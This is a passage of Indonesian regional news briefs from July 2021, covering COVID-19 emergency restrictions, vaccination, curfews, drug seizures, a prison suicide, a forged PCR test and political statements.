masyarakat soal pentingnya kebijakan pemberlakuan pembatasan kegiatan masyarakat (PPKM) darurat di Pulau Jawa-Bali. Menurut dia, PPKM darurat merupakan upaya untuk memutus mata rantai penyebaran virus corona SARS-CoV-2 penyebab COVID-19 sehingga inti dan tujuan dari kebijakan tersebut adalah keselamatan seluruh rakyat Indonesia. "Sehingga perlu ada langkah besar. Salah satunya, kami melaksanakan PPKM darurat. Ada tiga hal penting dalam pelaksanaannya, yaitu pengaturan dan pembatasan mobilitas masyarakat, perkuatan kegiatan PPKM mikro, dan vaksinasi," terangnya. Disisi lain, Sigit menyebutkan bakal mendorong pemerintah dalam hal ini Kementerian Kesehatan untuk mendistribusikan vaksin COVID-19 sesuai kebutuhan, yaitu kurang lebih 23 juta masyarakat yang perlu divaksinasi. Saat ini 7,9 juta masyarakat telah divaksinasi. Usai meninjau vaksinasi massal, rombongan Panglima TNI dan Kapolri melakukan pemantauan langsung ke Pos PPKM Mikro Desa Sawotratap, Kecamatan Gedangan, Kabupaten Sidoarjo. Dari hasil tinjauan diketahui Desa Sawotratap terdiri atas 11 RW, dan 60 RT dengan jumlah penduduk 11.500 jiwa. Kasus terkonfirmasi sebanyak 81 orang, kesembuhan 23 kasus, kematian 3 kasus, dan kasus aktif 53 orang. Fasilitas tes RT-PCR yang tersedia di Puskesmas Gedangan dengan kapasitas pengetesan maksimal dalam satu hari sebanyak 15 hingga 20 sampel dengan kecepatan hasil pengetesan per sampel selama satu hingga dua hari. Hingga tanggal 7 Juli 2021, warga Desa Sawotratap yang sudah divaksinasi sebanyak 2.308 jiwa. Pada kesempatan itu, Panglima dan Kapolri sempat berdialog secara virtual dengan warga yang melakukan isolasi mandiri di rumah. Warga tersebut mengaku sudah terlayani dengan baik oleh petugas terutama kebutuhan sehari-hari seperti sembako. "Alhamdulillah saya terlayani dengan baik. Sembako juga sudah," kata warga tersebut kepada Kapolri dan Panglima. Kapolri Sigit berpesan kepada warga agar limbah masker medis yang digunakan tidak dibuang sembarangan, tetapi dikelola atau dimusnahkan dengan baik agar tidak menjadi wadah penularan virus. "Untuk limbah maskernya tolong jangan dibuang sembarangan agar tidak menular," kata Sigit. (sws)

Seorang Warga Binaan LP Bukittingg Tewas Gantung Diri

Bukittinggi, FNN - Seorang warga binaan Lembaga Pemasyarakatan Bukittinggi di Biaro, Kabupaten Agam, Sumatera Barat, ditemukan tewas gantung diri dalam kamar tahanannya pada Jumat (09/07). "Warga binaan atas nama Marwan Siregar (42) ditemukan tewas gantung diri di kamar mandi pada kamar nomor 21 blok A pada pukul 07.15 WIB," kata Kepala LP Bukittinggi, Marten, di Biaro, Jumat (09/07). Menurut dia, kejadian penemuan korban gantung diri pertama kali diketahui dari kecurigaan tahanan lain yang berada dalam satu sel yang sama karena korban terlalu lama berada di dalam kamar mandi. "Menurut keterangan teman satu sel nya, korban masuk ke kamar mandi saat waktu subuh kemudian mengunci dari dalam, karena terlalu lama di dalam kamar mandi, rekan satu kamar merasa curiga dan memanggil petugas jaga," kata dia. Korban yang merupakan warga binaan pindahan dari LP Talu di Pasaman Barat itu menggantung diri menggunakan sehelai kain sarung. "Korban merupakan warga binaan dengan kasus pembunuhan dengan masa hukuman selama 16 tahun sembilan bulan dengan sisa pidana masih 14 tahun lagi," kata dia. Polres Bukittinggi kemudian mengolah TKP di LP Biaro kemudian membawa jenazah korban ke RSAM Bukittinggi. "Selanjutnya dikomunikasikan kepada keluarga korban untuk dilakukan otopsi jika dibutuhkan sesuai permintaan keluarga," kata dia. Korban diketahui sebelumnya tidak memiliki masalah lain selama menjalani masa hukuman dan hanya pernah sekali berobat dengan riwayat penyakit hernia. Warga Binaan di LP Bukittinggi di Biaro saat ini berjumlah 630 orang yang masih menjalani masa hukumannya. (sws)

Pemprov Babel Berlakukan Jam Malam Untuk Tekan Penyebaran COVID-19

Pangkalpinang, FNN - Pemerintah Provinsi Kepulauan Bangka Belitung akan kembali memberlakukan jam malam, guna menekan kasus COVID-19 yang mengalami peningkatan karena mobilitas warga yang tinggi tanpa diiringi penerapan protokol kesehatan. "Dalam waktu dekat ini kita melakukan sidak dan pemberlakuan jam malam ini," kata Erzaldi Rosman Djohan di Pangkalpinang, Jumat. Ia mengatakan kebijakan pemberlakuan jam malam untuk mengurangi mobilitas dan kerumunan massa di tempat-tempat hiburan, pusat perbelanjaan, objek wisata tersebut dilakukan karena meningkatnya kasus baru COVID-19 yang rata-rata bertambah 200 per hari. "Kita mengambil kebijakan ini agar ke depan masyarakat dapat menjalankan protokol kesehatan dengan baik dan benar," ujarnya. Juru Bicara Satgas Penanganan COVID-19 Provinsi Kepulauan Babel Andi Budi Prayitno mengatakan berdasarkan update data pada Kamis malam, jumlah pasien wajib isolasi menjalani perawatan 1.931 orang tersebar di Kota Pangkalpinang 459 (bertambah 83 orang, Kabupaten Bangka 362 (bertambah 38). Selanjutnya, jumlah pasien COVID-19 di Bangka Tengah 288 (bertambah 38), Bangka Barat 195 (16 orang), Bangka Selatan 102 (bertambah 16 orang), Belitung 385 (bertambag 75 orang) dan jumlah pasien aktif di Kabupaten Belitung Timur 140 (bertambah 22 orang). "Peningkatan kasus ini, karena kesadaran masyarakat mematuhi protokol kesehatan yang masih rendah," katanya. Menurut dia berdasarkan monitoring kepatuhan dalam menerapkan protokol kesehatan pada sepekan terakhir, angka kepatuhan memakai masker di Babel 67,7 persen dari 89,33 persen rerata nasional. "Secara nasional angka kepatuhan menggunakan masker masyarakat Babel berada di urutan ke-3 terendah se-Indonesia, dengan tingkat kepatuhan terendah berada di Kota Pangkalpinang dengan 46,88 persen," katanya. Ia mengatakan angka kepatuhan menjaga jarak dan menghindari kerumunan masyarakat Babel 60,9 persen dari 87,68 persen rerata nasional, dimana secara nasional menempatkan Babel berada di urutan ke-4 paling rendah se Indonesia. "Tingkat menjaga jarak dan menghindari kerumunan masyarakat terendah juga berada di Kota Pangkalpinang dengan 50 persen," ujarnya. (sws)

BNN Kalbar Ungkap Pengiriman Satu Kilogram Ganja Asal Medan

Pontianak, FNN - Badan Nasional Narkotika Provinsi (BNNP) dan Bea Cukai Kalimantan Barat mengungkap pengiriman sebanyak satu kilogram narkoba jenis ganja kering yang dikirim dari Medan, Provinsi Sumatera Utara, tujuan Kota Pontianak, Kalimantan Barat (Kalbar). "Dalam pengungkapan ini, kami menangkap satu tersangka berinisial RN (23) seorang mahasiswa yang tinggal di Kota Pontianak," kata Kasi Penyidikan BNN Provinsi Kalbar Valentino di Pontianak, Jumat. Modus tersangka, yakni menggunakan jasa pengiriman untuk membawa atau menerima kiriman narkoba jenis ganja kering itu dari Medan ke Kota Pontianak. "Begitu kami dapat informasi akan ada pengiriman narkoba itu, maka kami melakukan pengintaian, Senin (28/6) sekitar pukul 08.00 WIB, begitu tersangka RN mengambil barang haram itu, maka tersangka langsung ditangkap," ujarnya. Dari hasil pemeriksaan sementara, RN mengakui ganja kering itu dipesannya dari seorang laki-laki berinisial FN yang kini statusnya masuk dalam daftar pencarian orang (DPO) yang belakangan diketahui berdomisili di Kota Medan. RN membayar ganja tersebut Rp5 juta, dan mengakui sudah dua kali memesan narkoba jenis ganja kering tersebut. Dalam mengelabui petugas, tersangka baik pengirim dan penerima menggunakan identitas palsu, yakni pengirim dengan nama Jamaluddin dan nama penerima paket atas nama Bang Eed yang belakangan kedua nama alamat pengirim dan penerima adalah palsu, katanya. "Hingga saat ini tersangka masih dalam pemeriksaan, untuk barang bukti ganja kering hari ini kami musnahkan dalam mencegah hal-hal yang tidak diinginkan, dan sudah disisakan untuk proses hukum selanjutnya," kata Valentino. Dalam kesempatan itu, dia mengimbau kepada masyarakat untuk melapor kepada pihak aparat penegak hukum apabila melihat atau mendengar ada aktivitas yang mencurigakan, salah satunya mencegah masuknya narkoba dari luar Kalbar dan sebaliknya. (sws)

Dua Kafe Langgar PPKM Darurat di Cikarang Disegel

Cikarang, Bekasi, FNN - Petugas menyegel dua kafe pelanggar ketentuan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat di wilayah Cikarang, Kabupaten Bekasi, Jawa Barat, Kamis malam (8/7). "Semalam ada dua kafe yang kami segel karena terbukti melanggar ketentuan PPKM Darurat," kata Kepala Polres Metro Bekasi, Komisaris Besar Hendra Gunawan, di Cikarang, Jumat. Ia mengatakan, kafe yang disegel itu berlokasi di Jalan Raya Utama Perum Grand Cikarang City, Desa Karang Raharja, Kecamatan Cikarang Barat, dan satu kafe lainnya di wilayah Kecamatan Cikarang Barat. Penyegelan lantaran kafe-kafe masih melayani makan dan minum di tempat dan juga melanggar batas jam operasional di masa PPKM Darurat. "Petugas mendapati masih banyak pengunjung yang makan dan minum di tempat serta melanggar jam operasional. Maka kami lakukan tindakan penyegelan. Satu kafe kami pasang police line," katanya. Penyegelan dilakukan petugas gabungan yang terdiri atas personel kepolisian, prajurit TNI, serta anggota Satpol PP. Kegiatan ini dilakukan rutin setiap hari melalui patroli untuk memastikan segenap pelaku usaha serta masyarakat mematuhi aturan PPKM Darurat. "Jadi kami ingin masyarakat di rumah saja, pelaku usaha mematuhi aturan yang ada. Jika bandel akan ditutup, disegel," katanya. Selain pengawasan, operasi penyekatan mobilitas juga masih terus dilakukan di titik-titik yang telah ditetapkan. Begitu pula dengan monitoring rutin ke sejumlah perusahaan di kawasan industri. "Ini terus kita lakukan pengawasan hingga penindakan bagi yang melanggar. Kita lihat mobilitas masyarakat sudah mulai berkurang," ucapnya. Hendra mengimbau masyarakat untuk tetap berada di rumah saja dan terus mematuhi protokol kesehatan 5M, memakai masker, mencuci tangan, menjaga jarak, menghindari kerumunan, serta mengurangi mobilitas. "Tidak usah keluar rumah kecuali untuk kepentingan yang sangat mendesak. Tetap patuhi protokol kesehatan, ingat wabah pandemi ini belum berakhir," kata dia. (sws)

Polres Bangka Barat Ringkus Dua Pemuda Curi Pasir Timah

Mentok, Babel, FNN - Kepolisian Resor Bangka Barat, Provinsi Kepulauan Bangka Belitung, meringkus dua orang pemuda yang diduga melakukan pencurian pasir timah di Kecamatan Tempilang. "Dua orang pemuda tersebut ditangkap personel Polsek Tempilang karena diduga melakukan tindak pencurian dengan pemberatan di rumah korban bernama Indra, warga Desa Tanjungniur, Tempilang," kata Kapolres Bangka Barat AKBP Agus Siswanto di Mentok, Kamis. Penangkapan terhadap dua pelaku, berinisial JS (19) dan ZR (19) keduanya warga Tanjungniur, Kecamatan Tempilang tersebut menindaklanjuti laporan dari korban. "Mendapatkan laporan itu, polisi bergerak cepat melakukan penyelidikan di tempat kejadian perkara dan mengumpulkan berbagai informasi yang dibutuhkan," katanya. Dari hasil penyelidikan itu, polisi menemukan titik terang dan mengarah kepada dua pemuda tersebut yang selanjutnya dilakukan penangkapan. Kapolsek Tempilang Ipda Mulia Renaldi menjelaskan aksi pencurian terjadi pada Jumat (2/7) sekitar pukul 06.00 WIB di rumah korban Indra. Saat itu korban merasa kehilangan tiga karung pasir timah dengan berat total mencapai 90 kilogram dan melaporkan kejadian itu ke Polisi Sektor Tempilang dan dilakukan penangkapan terhadap pelaku. Berdasarkan intrograsi yang dilakukan petugas, pelaku mengakui perbuatannya dan menjelaskan aksi pencurian dilakukan dengan cara merusak pintu belakang rumah menggunakan kayu, mengambil pasir timah dan membawanya pergi menggunakan sepeda motor. "Dari kejadian itu, korban mengalami kerugian sekitar Rp18 juta," ujarnya. (sws)

Kantor Hukum WLP Raih Peringkat 11 Midsize Corporate Lawyer 2021

Jakarta, FNN - Kantor hukum "WLP Law Firm" meraih Peringkat ke-11 kategori Midsize Corporate Practices versi Hukum Online dan menduduki Peringkat ke-58 sebagai TOP 100 Indonesian Law Firms 2021 versi Hukum Online. Founder WLP Law Firm Wardaniman Larosa dalam keterangan tertulis di Jakarta, Kamis, berharap rangking yang didapatkan menjadi motivasi dan semangat untuk terus bergerak maju, berinovasi dan bersinergi menyempurnakan jasa layanan hukum kepada masyarakat luas. WLP Law Firm untuk pertama kalinya turut berpartisipasi dalam program survei perangkingan Law Firm se Indonesia versi Hukum Online baik dalam sektor litigasi ataupun korporasi. Survei tersebut diikuti seluruh Law Firm korporasi dan litigasi seluruh Indonesia. Adapun kriteria (komponen) yang dinilai dalam TOP 100 Indonesian Law diantaranya adalah tahun berdiri, total fee earner, jumlah associate, jumlah of counsel, jumlah advokat asing, dan kegiatan transaksi komersial klien penting yang ditangani pada tahun 2020. WLP Law Firm berdiri sejak tahun 2017, dahulu bernama Warda Larosa & Partners Law Firm. Namun pada tahun 2020 untuk mempermudah penyebutan nama kantor disingkat menjadi WLP Law Firm dan saat ini berkantor di Kuningan, Jakarta Selatan. Pencapaian WLP Law Firm yang masih tergolong dalam usia muda pada program survey rangking ini tentunya menjadi harapan baru bagi WLP Law Firm untuk terus berpacu memberikan layanan hukum “excellent” yang mampu menjawab persolan hukum korporasi maupun Litigasi di tengah masyarakat. Hingga saat ini WLP Law Firm memiliki dua partner, delapan associate, empat counsel, satu advokat asing, yaitu total 15 Fee Earner Corporate dan juga memiliki beberapa klien diantaranya PT Sicepat Ekspres Indonesia dan PT Laku Emas Indonesia serta beberapa perusahaan lainnya. (sws)

Penyekatan Kendaraan di Kota Bogor, Lalu Lintas Ramai di Batas Kota

Bogor, FNN - Arus lalu lintas kendaraan tampak ramai di batas kota pada hari kedua pelaksanaan penyekatan kendaraan bermotor pada pemberlakuan PPKM Darurat di Kota Bogor, Kamis. Satgas Penanganan COVID-19 Kota Bogor melalui Polresta Bogor Kota menyiapkan enam lokasi penyekatan dan enam lokasi "check point" untuk melakukan pemeriksaan kendaraan, mana kendaraan yang diizinkan melintas dan yang mana diputar balik arah. Kapolresta Bogor Kota, Kombes Pol Susatyo Purnomo Condro di Kota Bogor, Kamis, mengatakan, enam lokasi penyekatan selektif yang disiapkan berada, di dekat pintu keluar Tol Baranangsiang, di Simpang Ciawi, di Simpang Salabenda, di Simpang POMAD, di Simpang Dramaga, dan dekat Stasiun Bogor. Kemudian, enam lokasi "check point" disiapkan di Simpang Ekalokasari, di Simpang Baranangsiang, di Simpang BTM, di Simpang Jembatan Merah, di Simpang Jalan Veteran, dan di Simpang Air Mancur. Menurut Susatyo, penyekatan kendaraan bermotor ini diberlakukan selama 24 jam setiap hari, mulai Rabu (7/7/) kemarin. "Sasarannya untuk mengurangi mobilitas masyarakat sampai 50 persen, baik pendatang ke Kota Bogor maupun warga Kota Bogor," katanya. Wakil Ketua Satgas Penanganan COVID-19 Kota Bogor ini menjelaskan, dari pemantauannya petugas gabungan di lokasi penyekatan dan "check point" pada pagi hingga siang, melaporkan, arus lalu lintas dari arah Kabupaten Bogor menuju arah ke kota Bogor, terpantau ramai. Di Simpang Dramaga menuju ke Kota Bogor antrian kendaraan mencapai sekitar 2 kilometer, tapi arus lalu lintas kendaraan bermotor di tengah Kota Bogor, terpantau lengang. "Penyekatan kendaraan bermotor ini diberlakukan setiap hari selama pelaksanaan PPKM Darurat sampai 20 Juli mendatang. Sasarannya untuk menekan mobilitas wargha sampai 50 persen, guna mencegah penyebaran COVID-19," katanya. Pada kesempatan tersebut, Susatyo mengingatkan masyarakat, agar dapat menahan diri untuk tidak bepergian jika tidak ada kepentingan yang mendesak. "Masyarakat tolong dapat memahami, bahwa penyekatan kendaraan ini dilakukan agar penyebaran COVID-19 dapat ditekan dan semuanya sehat," katanya. (sws)

Polda Aceh Amankan Penumpang Pesawat Palsukan Surat Tes COVID-19

Banda Aceh, FNN - Direktorat Reserse Kriminal Umum Polda Aceh mengamankan seorang calon penumpang pesawat terbang diduga memalsukan surat keterangan hasil COVID-19 berdasarkan tes usap PCR. Direktur Reserse Kriminal Umum Polda Aceh Kombes Pol Ade Harianto melalui Kepala Bidang Humas Polda Aceh Kombes Pol Winardy di Banda Aceh, Kamis, mengatakan terduga berinisial AOS (26). "Pelaku diamankan saat hendak bepergian menggunakan maskapai Batik Air di Bandara Sultan Iskandar Muda, Blangbintang Aceh Besar, Rabu ( 7/7)," kata Kombes Pol Winardy. Perwira menengah Polri itu mengatakan terungkapnya dugaan pemalsuan tersebut setelah petugas Kantor Kesehatan Pelabuhan (KKP) memvalidasi surat hasil tes COVID-19 yang dibawa pelaku Pelaku AOS saat itu hendak melakukan perjalanan udara dengan tujuan Banda Aceh-Jakarta melalui Bandara SIM menggunakan pesawat terbang komersial Batik Air, kata Kombes Pol Winardy. "Setelah divalidasi, ternyata surat keterangan palsu dan yang bersangkutan langsung dicegat petugas KKP, kemudian diserahkan ke Direktorat Reserse Kriminal Umum Polda Aceh untuk diproses hukum," kata Kombes Pol Winardy. Kombes Pol Winardy mengatakan berdasarkan pemeriksaan, pelaku AOS diduga memalsukan surat tes PCR dengan cara memindai surat yang asli dari Laboratorium Kesehatan Daerah (Labkesda). Hasil pemindaian tersebut, kata Kombes Pol Winardy, pelaku mengubah hasil tes PCR dari positif menjadi negatif. Surat hasil PCR yang diubah tersebut digunakan pelaku untuk ke Jakarta Kombes Pol Winardy mengatakan apa yang dilakukan terduga pelaku tersebut sangat berbahaya dengan mengancam kesehatan orang lain. Di mana terduga pelaku positif COVID-19 berdasarkan hasil tes usap PCR. "Tindakan tersebut itu membahayakan masyarakat, mulai dari cek in sampai ke dalam pesawat, pelaku diduga menyebarkan COVID-19," kata Kombes Pol Winardy. Saat ini, kata Kombes Pol Winardy, terduga pelaku diamankan dan diisolasi di Rumah Sakit Bhayangkara Polda Aceh. Penyidik juga mengamankan barang bukti berupa hasil tes PCR yang sudah diubah, identitas, dan tiket pesawat. "Terduga pelaku AOS sudah diisolasi. Penyidik menjerat yang bersangkutan dengan Pasal 263 KUHP tentang pemalsuan Surat," kata Kombes Pol Winardy menyebutkan. Kepala Bidang Humas Polda Aceh itu mengimbau agar masyarakat tidak melanggar ketentuan yang sudah ditetapkan untuk mengendalikan penyebaran COVID-19. Apalagi sampai memalsukan surat keterangan hasil pemeriksaan virus corona tersebut. "Masyarakat tidak perlu memalsukan surat hasil tes COVID-19, baik antigen maupun PCR. Jika kedapatan memalsukan, akan ditindak hukum secara dan diproses pidana," kata Kombes Pol Winardy. (sws)

Polda Kaltara Musnahkan Barang Bukti Sabu Sebanyak 181,23 Gram

Tarakan, FNN - Kepolisian Daerah (Polda) Kalimantan Utara memusnahkan barang bukti sabu sebanyak 181,23 gram dari lima tersangka. "Adapun jumlah barang bukti narkoba yang dimusnahkan melalui pelarutan sebanyak 181,23 gram dari lima tersangka," kata Kepala Bidang Hubungan Masyarakat Polda Kaltara Kombes Pol Budi Rachmat saat pemusnahan di Mapolda Kaltara di Tanjung Selor, Bulungan, Kamis. Namun sebelumnya dilaksanakan penyisihan barang bukti sabu sesuai petunjuk Jaksa Penuntut Umum (JPU) untuk persidangan di pengadilan. Lima tersangka pemilik barang bukti tersebut yakni R (34) dengan berat bruto 12,45 gram, SA (26) dengan berat bruto 49,58 gram, RA (21) dengan berat bruto 29,77 gram, ARA (22) dengan berat bruto 50,12 gram dan S (45) dengan berat bruto 39,31 gram. Kelima tersangka melanggar pasal 114 ayat 2 subsider pasal 112 ayat 2 UU RI Nomor 35 Tahun 2009 tentang Narkotika. Budi menyampaikan bahwa masyarakat harus menyadari kejahatan narkoba sangat membahayakan dan merusak masa depan generasi bangsa. “Untuk itu kita akan terus melakukan penindakan, sehingga tidak ada lagi korban narkoba," katanya. (sws)

Mahasiswa di Bali Jadi Kurir Sabu Divonis 12 Tahun Penjara

Denpasar, FNN - Seorang mahasiswa di Bali bernama A (24) yang berperan menjadi kurir sabu ini divonis 12 tahun penjara oleh Pengadilan Negeri Denpasar, Bali. "Mengadili, menjatuhkan pidana terhadap terdakwa dengan pidana penjara selama 12 tahun, dan denda Rp1 miliar dengan subsider 4 bulan penjara," kata majelis hakim yang diketuai oleh I Made Yuliada dalam sidang yang berlangsung virtual di Pengadilan Negeri Denpasar, Bali, Kamis. Ia mengatakan bahwa terdakwa terbukti bersalah dan melawan hukum menjadi perantara dalam jual beli, Narkotika Golongan I dalam bentuk bukan tanaman beratnya melebihi 5 (lima) gram dan tanpa hak atau melawan hukum memiliki, menyimpan, menguasai atau menyediakan Narkotika Golongan I dalam bentuk tanaman. Atas perbuatannya, terdakwa dikenakan Pasal 114 ayat (2) Undang-Undang RI Nomor 35 Tahun 2009 tentang Narkotika dalam dakwaan pertama. Dari terdakwa diperoleh barang bukti berupa tujuh buah plastik klip bening yang didalamnya masing-masing berisi kristal bening yang mengandung narkotika jenis sabu dengan berat keseluruhan 12,78 gram netto. Sebelumnya, diketahui ada transaksi narkotika yang dilakukan terdakwa di Jalan Pulau Panjang, Denpasar Barat. Kemudian, Polda Bali melakukan penyelidikan dan menangkap terdakwa. Setelah dilakukan penggeledahan diperoleh barang bukti berupa narkotika jenis sabu seberat 12,78 gram netto. Paket sabu itu diperoleh seseorang bernama Om Jack yang menghubungi terdakwa melalui HP, dari sana terdakwa diminta mengambil sabu di wilayah Ubung, Denpasar. Lalu, narkotika itu dipecah menjadi 13 paket sabu, namun tersisa tujuh paket yang belum disebarkan. Terdakwa mendapatkan upah sebesar Rp50.000 untuk sekali proses menyebarkan sabu. Kemudian, saat itu terdakwa sudah menerima upah sebesar Rp500 ribu dari Om Jack. (sws)

Kendari Batasi Jam Operasi Pelaku Usaha Hingga Pukul 8 Malam saat PPKM

Kendari, FNN - Pemerintah Kota Kendari, Sulawesi Tenggara, membatasi jam operasi pelaku usaha saat penerapan pemberlakuan pembatasan kegiatan masyarakat (PPKM) Mikro akibat pandemik COVID-19. Perwira Pengendali Operasi Tim Yustisi Kendari AKP Yusuf Muluk Tawang di Kendari, Kamis malam, mengatakan pembatasan kegiatan masyarakat merujuk pada Surat Keputusan Wali Kota Kendari Nomor: 574 Tahun 2021 tentang Pengetatan PPKM berbasis mikro dan Surat Edaran Wali Kota Nomor: 440/4541/2021 tentang PPKM Mikro dalam rangka pengendalian penyebaran COVID-19. "Bahwa pukul 20.00 WITA sudah waktu untuk setop kegiatan masyarakat termasuk para pelaku usaha," ucap dia. Tim Yustisi gabungan TNI-Polri dan Satpol PP menyasar pelaku usaha yang berdagang di kawasan pelataran Tugu Eks MTQ, toko-toko yang berada di Jalan Ahmad Yani, pedagang buah kawasan Pertamina Rabam, hingga penjual gorengan dan sari laut menjadi sasaran untuk diminta ditutup. "Yang kami lakukan saat ini adalah humanis, tetap humanis penindakannya. Masih mengimbau. Penindakan secara humanis akan dilakukan sampai tanggal 20 Juli 2021," ujarnya. Dalam menegakkan Surat Keputusan dan Surat Edaran Wali Kota Kendari tentang PPKM Mikro, operasi yustisi dibagi menjadi tiga tim yakni tim pagi dimulai pukul 08.00 sampai pukul 11.00 WITA; tim sore dimulai pukul 15.00 sampai pukul 17.00 WiITA; dan tim malam dimulai pukul 20.00 sampaikan pukul 22.00 WITA. Sementara di atas pukul 22.00 WITA operasi penegakan pengetatan PPKM Mikro akan dilanjutkan Satgas COVID-19 tingkat kecamatan meliputi Polsek, Koramil, pihak kecamatan dan kesehatan sesuai wilayah masing-masing. "Kalau pagi sampai sore sasaran kami adalah rumah makan, warkop, pusat perbelanjaan, karena memang batas waktunya mereka sampai 17.00 WITA, selain itu kegiatan sekolahan, karena di situ (SE Wali Kota) sudah ditegaskan sekolah secara daring, artinya tidak ada kegiatan tatap muka. Terus pada malam harinya ia pelaku-pelaku usaha lainnya," tutur-nya. Tim Yustisi gabungan TNI-Polri dan Satpol PP melakukan operasi menyuruh para pelaku usaha di kota itu agar menutup usahanya maksimal pukul 20.00 WITA, Kamis (8/7/2021) malam. ANTARA/Harianto Menurut dia, PPKM berbasis mikro tidak akan terjadi jika masyarakat sadar untuk menerapkan protokol kesehatan dengan ketat, sehingga tidak terjadi penambahan kasus COVID-19 seperti yang terjadi saat ini. "Sebenarnya kami tidak ingin melakukan tindakan represif. Kami selalu mengimbau masyarakat sadar protokol kesehatan, sehingga aktivitas bisa berjalan seperti biasa. Protokol kesehatan terjamin, ekonomi bisa kuat, keluarga dan yang lainnya terjaga dari COVID-19," ujarnya Ia juga mengimbau bagi warga dari luar Kota Kendari, agar sementara waktu tidak datang di kota itu jika tidak ada kepentingan yang mendesak, terutama pada saat penerapan PPKM Mikro guna menekan angka kasus COVID-19. "Kami berharap sama (warga) kabupaten lain kalau datang di Kota Kendari saat ini tolong menyesuaikan. Yang jelas kegiatan di Kota Kendari saat ini mulai jam 17.00 sampai jam 20.00 WITA sudah tidak ada aktivitas. Jadi kalau yang mau datang berpikir dulu karena sudah ndak ada kegiatan dan sebaiknya kami sangat mengharapkan lebih baik di rumah saja dulu," ucap-nya berharap. Ketentuan pengetatan PPKM Mikro di Kota Kendari terdapat 11 poin di antaranya kegiatan restoran untuk makan di tempat (dine in) dibatasi hanya 25 persen dan maksimal sampai pukul 17.00 WITA. Sementara untuk take away dan pesan antar dibatasi sampai pukul 20.00 WITA, serta Tempat Hiburan Malam (THM) dibatasi sampai pukul 20.00 WITA. Selanjutnya, pusat perbelanjaan, mal diperbolehkan buka sampai maksimal pukul 17.00 WITA dengan kapasitas 25 persen. Ketentuan tersebut telah ditandatangani oleh Wali Kota Kendari ter tanggal 6 Juli 2021 dan akan berlaku 6-20 Juli 2021, namun dapat diperpanjang atas pertimbangan jumlah kasus COVID-19 yang terkonfirmasi. (sws)

Wakil Ketua MPR Ajak Publik Berpikir Optimistis

Jakarta, FNN - Wakil Ketua MPR Jazilul Fawaid mengajak publik agar terus berpikir optimistis termasuk dalam kondisi pandemi COVID-19 yang kasus hariannya kini terus meningkat. "Di tengah situasi krisis tidak ada gunanya menyebarkan mimpi buruk, menjadi negara gagal. Cara pikir pesimis justru membuat masyarakat semakin terpuruk," kata Wakil Ketua MPR Jazilul Fawaid dalam keterangannya diterima di Jakarta Jumat. Kasus harian positif COVID-19 di Indonesia terus meningkat, dan dalam kondisi seperti ini, tokoh publik seharusnya menyebarkan pesan-pesan optimistis, bukan justru membuat masyarakat semakin takut. Jazilul merespons pernyataan politikus Partai Demokrat yang menyebut Indonesia terancam menjadi failed nation kalau pemerintah gagal menangani pandemi. Menurut Jazilul, yang dibutuhkan saat ini adalah bergandengan tangan, saling dukung, bergotong royong mengatasi krisis kesehatan dan ekonomi. "Lebih baik kita menebar semangat optimis, bergandengan tangan agar dapat bangkit mengatasi keadaan. Kami berharap semua pihak disiplin mematuhi protokol kesehatan. Jangan saling menyalahkan," kata Jazilul. Anggota DPR Ace Hasan Syadzily menilai sekarang saatnya bersatu melawan musuh, yaitu COVID-19. Ace menambahkan, musuh yang dihadapi saat ini tidak terlihat, namun bisa menular kepada siapapun dan dapat melumpuhkan negara manapun. Menurut Ace pandemi COVID-19 merupakan masalah semua negara. Kamis 8 Juli 2021, kasus COVID-19 di Indonesia bertambah sebanyak 38.391 sehingga total kasus menjadi 2.417.788 kasus, dan angka kematian mencapai 63.760. Di sisi lain, pemerintah terus berusaha menekan kenaikan kasus COVID-19, antara lain melalui kebijakan PPKM Darurat di Jawa-Bali hingga 20 Juli 2021. Kemudian, program vaksinasi untuk menciptakan kekebalan kelompok terus berjalan. Melihat angka-angka itu, menurut Ace akan lebih bijak kalau semua kalangan bekerja, berkontribusi dalam penanganan krisis akibat COVID-19. Ada banyak orang yang membutuhkan bantuan. "Tidak tepat rasanya kita bicara failed nation di saat semua pihak sedang berjibaku, bekerja keras. Korban terpapar COVID-19 sedang bertahan hidup, baik yang dirawat di fasilitas layanan kesehatan maupun isolasi mandiri," kata Ace. Ace menjelaskan, pemerintah sedang berusaha untuk terus menerus melakukan program vaksinasi. Vaksinnya pun bukan hanya satu jenis saja, tetapi juga vaksin jenis lainnya, hal itu dilakukan dalam rangka mewujudkan kekebalan komunitas. Anggota DPR Luqman Hakim menilai kekhawatiran Politikus Demokrat Ibas berlebihan. "Saya sama sekali tidak melihat tanda-tanda Indonesia sedang mengarah ke negara gagal. Bahwa dalam penanganan pandemi COVID-19 ada kekurangan di sana-sini, itu masih wajar," kata Luqman. Luqman menilai pemerintah terbuka dengan kritik untuk menyempurnakan penanganan COVID-19. Buktinya, setelah desakan dari banyak pihak agar Pulau Jawa di-lockdown, pemerintah menetapkan kebijakan PPKM darurat. Menurut Luqman, yang diperlukan adalah kerja sama, kekompakan, saling mengingatkan agar dengan kewenangan dan kemampuan masing-masing, membuat langkah menangani COVID-19. "Saling menyalahkan, bukanlah solusi," ucapnya. Sedangkan anggota DPR Arteria Dahlan menilai harus ada kebersamaan dan kerja kolektif antara pemerintah dengan rakyat untuk satu padu dan satu cara pandang menangani pandemi COVID-19. "Pastinya pemerintah saat ini telah bekerja sangat baik dan semaksimal mungkin, terus berbenah menuju kesempurnaan pelayanan," kata Arteria. (sws)

Ma'ruf Amin Minta Ulama Jaga Umat dari Penyebaran Hoaks

Jakarta, FNN - Wakil Presiden, Ma’ruf Amin, meminta ulama menjaga umat dari bahaya hoaks, baik dalam menyebarkan maupun menerima berita bohong tersebut. "Kyai, ulama rabbaniyyin yang awas-awas itulah yang kita butuhkan, yang diperlukan sekarang. Allah memerintahkan kepada kita agar mengajak masyarakat supaya cermat untuk memilah, harus tabayyun dulu," kata dia, dalam keterangannya yang diterima Jumat. Hal itu dia katakan saat beraudiensi secara virtual dengan Jamiyyah Ahlith Thoriqoh Al-Mu’tabaroh An-Nahdliyah melalui konferensi video dari rumah dinasnya di Jakarta, Kamis (8/7). Ia mengimbau para ulama ikut menyaring informasi yang saat ini banyak beredar di media sosial. Informasi bohong dan belum terkonfirmasi kebenarannya dapat menimbulkan fitnah dan adu domba, sehingga masyarakat menjadi bingung karena terdapat disinformasi. "Banyak orang memanfaatkan kebingungan masyarakat untuk menyesatkan mereka, bikin mereka sesat, bikin mereka ragu, bikin ketidakpercayaan dan konflik. Ini penting perannya dalam membangun manusia yang unggul," jelasnya. Ia juga menyampaikan agar para ulama ikut mendukung upaya Pemerintah dalam menangani 